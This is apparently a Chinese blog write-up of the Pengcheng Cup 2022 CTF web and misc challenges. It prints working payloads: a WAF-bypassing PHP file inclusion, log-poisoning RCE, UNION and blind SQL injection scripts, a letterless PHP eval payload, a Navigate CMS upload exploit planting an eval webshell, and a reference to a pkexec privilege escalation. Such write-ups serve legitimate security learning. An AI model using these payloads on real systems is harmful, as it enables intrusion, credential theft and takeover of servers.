鹏城杯 2022 web/misc writeup - ek1ng's Blog

Web

简单包含

这个题目环境还是比较简单,访问题目环境可以直接看到源代码

1
2
3
4
<?php 
highlight_file(__FILE__);
include($_POST['flag']);
//flag in /var/www/html/flag.php

图 1

然后我一开始是尝试了比较常规的思路,就是用php的伪协议然后base64绕过处理的,不过发现会被WAF,然后也是没找到绕WAF的方法。

赛后看到其他师傅的做法,一种做法是添加脏数据,可以有效的绕过WAF,同时又能够成功执行命令,利用php伪协议把flag转base64回显出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 192.168.1.113
Content-Length: 11845
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36 Edg/103.0.1264.37
Origin: http://192.168.1.113
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.113/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

flag=php://filter///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////read=convert.base64-encode/resource=flag.php

协会学长的做法是用nginx日志包含,因为php中include这个函数会去检测读到的文件里面的<?php ?>标签并且执行标签内的php代码,而我们通过/var/xxx/../log这个技巧可以绕过/var/log的WAF,来成功包含nginx的日志文件,那nginx的日志文件里面会对HTTP请求做记录,自然也包含User-Agent请求头,这样的话将恶意代码写在UA请求头中并且包含,就可以成功RCE了。不过我在复现的时候不知道为什么看不到cat出来的flag,因此用bash提供的base64库试了试发现可以看到转码后的flag。

图 1

图 2

Easygo

这个题目一开始是没有给出附件,扫描器扫了一下也确实扫不到,字典里面哪能有juice呢,后来晚上的时候题目给出了go.mod的附件,不过那个时候因为军训已经休息了,学长通过go mod发现module github.com/KaanSK/golang-sqli-challenge,结果这个github仓库里面有solution.md,文件里面就是payload,就挺离谱的这比赛,不仅附件有问题,而且连题解都在github上开源了,可能这是个社工题目吧hhh,早上醒来的时候附件已经更改成main.go了,那就来看看常规的解题思路吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package main

import (
"database/sql"
"fmt"
"log"
"net/http"

"github.com/gin-gonic/gin"
_ "github.com/lib/pq"
)

type CtfService struct {
Db *sql.DB
}

type Juice struct {
ID int
Name string
}

func (cs *CtfService) Get(c *gin.Context) {
id := c.Param("id")
var juices []Juice
query := fmt.Sprintf("SELECT * FROM juice WHERE id = '%s'", id)
rows, err := cs.Db.Query(query)
if err != nil {
if err == sql.ErrNoRows {
c.JSON(http.StatusNotFound, gin.H{"error": err.Error()})
} else {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
}

} else {
defer rows.Close()
for rows.Next() {
var juice Juice
err := rows.Scan(&juice.ID, &juice.Name)
if err == nil {
juices = append(juices, juice)
}
}
c.JSON(http.StatusOK, gin.H{"result": juices})
}
}

func initDb() *sql.DB {
connStr := "host=postgresql user=postgres dbname=juice_market sslmode=disable"
db, err := sql.Open("postgres", connStr)
if err != nil {
log.Fatal(err)
}
return db
}

func setupRouter() *gin.Engine {
r := gin.Default()
db := initDb()
service := CtfService{Db: db}

r.GET("/ping", func(c *gin.Context) {
c.String(http.StatusOK, "pong")
})

r.GET("/juice/:id", service.Get)

return r
}

func main() {
r := setupRouter()
r.Run(":8080")
}

根据源码,也就很明显是对/juice/id这里进行注入,而且也没什么过滤,比较简单,union注入即可。

图 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
http://127.0.0.1:8080/juice/5'order by 3--
# 回显报错

http://127.0.0.1:8080/juice/5'order by 3--
# 正常回显

http://localhost:8080/juice/5'UNION SELECT 1,datname FROM pg_database--
# {"result":[{"ID":1,"Name":"postgres"},{"ID":1,"Name":"template1"},{"ID":1,"Name":"juice_market"},{"ID":1,"Name":"template0"}]}

http://localhost:8080/juice/5'UNION SELECT 1,table_name FROM information_schema.tables--
# 回显所有表名

http://127.0.0.1:8080/juice/5'UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema = 'public'--
# {"result":[{"ID":1,"Name":"super_secret_table"},{"ID":1,"Name":"juice"}]}

http://localhost:8080/juice/5'UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='super_secret_table'--
# {"result":[{"ID":1,"Name":"flag"}]}

http://localhost:8080/juice/5'UNION SELECT 1,flag FROM super_secret_table--
# {"result":[{"ID":1,"Name":"CTF{KaanWasHere}"}]}

也没什么过滤,比较基础的sql注入题目,只是用的数据库是postgres,略微有些差异。

简单的php

访问靶机直接给出源码,是一个需要利用php的trick的题目。

1
2
3
4
5
6
7
8
9
10
11
 <?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);

}

?>

题目要求传入的code变量这个字符串长度小于等于80并且不能包含字母数字和一些符号才会进入到下面的else if。而else if这个判断条件的意思是,[^\s\(\)]+?指匹配一次任意非空格字符+括号,(?R)?是递归的匹配,因此会限制只能调用函数而不能传参。符合条件的code变量就可以实现RCE。

参考文章https://www.freebuf.com/articles/network/279563.html

采用URL反编码的方式绕过,先取反,然后进行url编码,在payload中再此取反就可以。

1
2
3
4
5
6
7
8
9
GET /?code=[~%8C%86%8C%8B%9A%92][~%CF]([~%9A%91%9B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]())); HTTP/1.1
Host: 192.168.1.111:8220
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: cat /ffffflaggg

can_u_login

也是一个php的题目,给出了源码,登陆成功就会include “/flag.txt”,就可以看到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
highlight_file(__FILE__);
$con = mysqli_connect("localhost","root","root","www");
function waf($sql) {
if (preg_match("/infor|sys|sql|thread|case|if|like|left|right|mid|cmp|sub|locate|position|match|find|field|sleep|repeat|lock|bench|process|<|>|=|xor|and|&&|\\\\/i", $sql)) {
die("hacker");
}
}
if (isset($_GET['password'])) {
$password = $_GET['password'];
waf($password);
$sql = "SELECT password FROM users WHERE username='admin' and password='$password'";
$user_result = mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if ($row['password'] === $password) {
include "/flag.txt";
} else {
echo "password error";
}
}

这是协会学长的做法,用布尔盲注的方法把密码爆出来了,感觉payload比较有技巧,用performance_schema这个表做的,并且用regexp和^进行字符运算,这可以有效绕过题目对于布尔盲注的leftrightmid这样的限制。参考文章https://zhuanlan.zhihu.com/p/88422176

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string

url = "http://192.168.1.112/?password='or((select(password)from(users))not regexp'^{payload}')or(select count(*) FROM performance_schema.file_instances, performance_schema.file_instances A, performance_schema.cond_instances, performance_schema.cond_instances B)%23"


headers = {}
payload = "^"

space = string.ascii_letters + string.digits + '$'

flag = True

while flag:
for c in space:
tmp = payload + c
try:
r = url.format(payload=tmp)
# print(r)
response = requests.request("GET", r, headers=headers, timeout=2)
continue
except:
if c == "$":
flag = False
payload += c
break
print(payload)

# ^083d6653cd1d2882bd76571c4305a09b$

而另外在https://www.cnblogs.com/xiacker/p/__one.html也看到一个师傅用时间盲注的做法,虽然benchmark和sleep被waf限制了,但是这里根据https://xz.aliyun.com/t/5505采用了正则DOS RLIKE的注入方法,用SQL多次计算正则消耗计算资源产生延时效果来进行逻辑运算正确与否的判断。

1
select elt((elt((select length(GROUP_CONCAT(password))from ctf_user)regexp 3,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) regexp '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)),'a') or '1'regexp'

高手高手高高手

这个题目比较复杂,首先是访问站点后,发现是用Navigate CMS搭建的站点,通过/.git/目录泄漏的源码,利用工具https://github.com/gakki429/Git_Extract可以发现版本是Navigate CMS2.8,是一个相当老的版本,存在后台任意文件上传的漏洞,可以拿到webshell。

通过https://www.exploit-db.com/exploits/45561

1
2
3
4
5
6
7
8
9
10
11
12
POST //navigate_upload.php?session_id=fhgaqttnvp4smtgpc529mga0j3&engine=picnik&id=..././..././..././navigate_info.php HTTP/1.1
Host: 192.168.1.116
Content-Length: 212
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKIUbTficeOAkmEbn
Connection: close

------WebKitFormBoundaryKIUbTficeOAkmEbn
Content-Disposition: form-data; name="file"; filename="aaaaaa.php"
Content-Type: image/jpeg

<?php eval($_POST['aac']);?>
------WebKitFormBoundaryKIUbTficeOAkmEbn--

可以拿到webshell,但是连接上后权限很低,有一个I_want_capture_the_flag文件,但是没有执行权限,另外还有bocai.html和bocai.png,也不知道有什么用。

把文件拿出来ida f5看一下,发现是需要删除掉bocai.png和bocai.html,才能执行这个文件,但是删除文件权限也是不够的,因此需要提权。

图 3

这里提权打的是pkexec的cve,https://github.com/arthepsy/CVE-2021-4034

提权成功后用chattr删除文件,执行程序拿到flag。

Misc

what_is_log

某机器的mysql中存在一些秘密,通过log文件你能找到它输入的密码或者这个秘密吗(添加PCL格式提交)

使用sysdig可以进行日志文件的分析

1
sysdig -r flag2.scap evt.type=write | grep mysql

可以找到flag
图 1

Misc_water

给出的png,查看hex发现是两张png + 1个倒置的png组成,先分别提取3张图片。

然后由于water,想到水印,用傅立叶盲水印的脚本可以提取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import cv2 as cv
import numpy as np
import matplotlib.pyplot as plt
img = cv.imread('/root/桌面/flag.jpg', 0)
f = np.fft.fft2(img)
fshift = np.fft.fftshift(f)
s1 = np.log(np.abs(fshift))
plt.subplot(121)
plt.imshow(img, 'gray')
plt.title('original')
plt.subplot(122)
plt.imshow(s1,'gray')
plt.title('center')
plt.show()

评论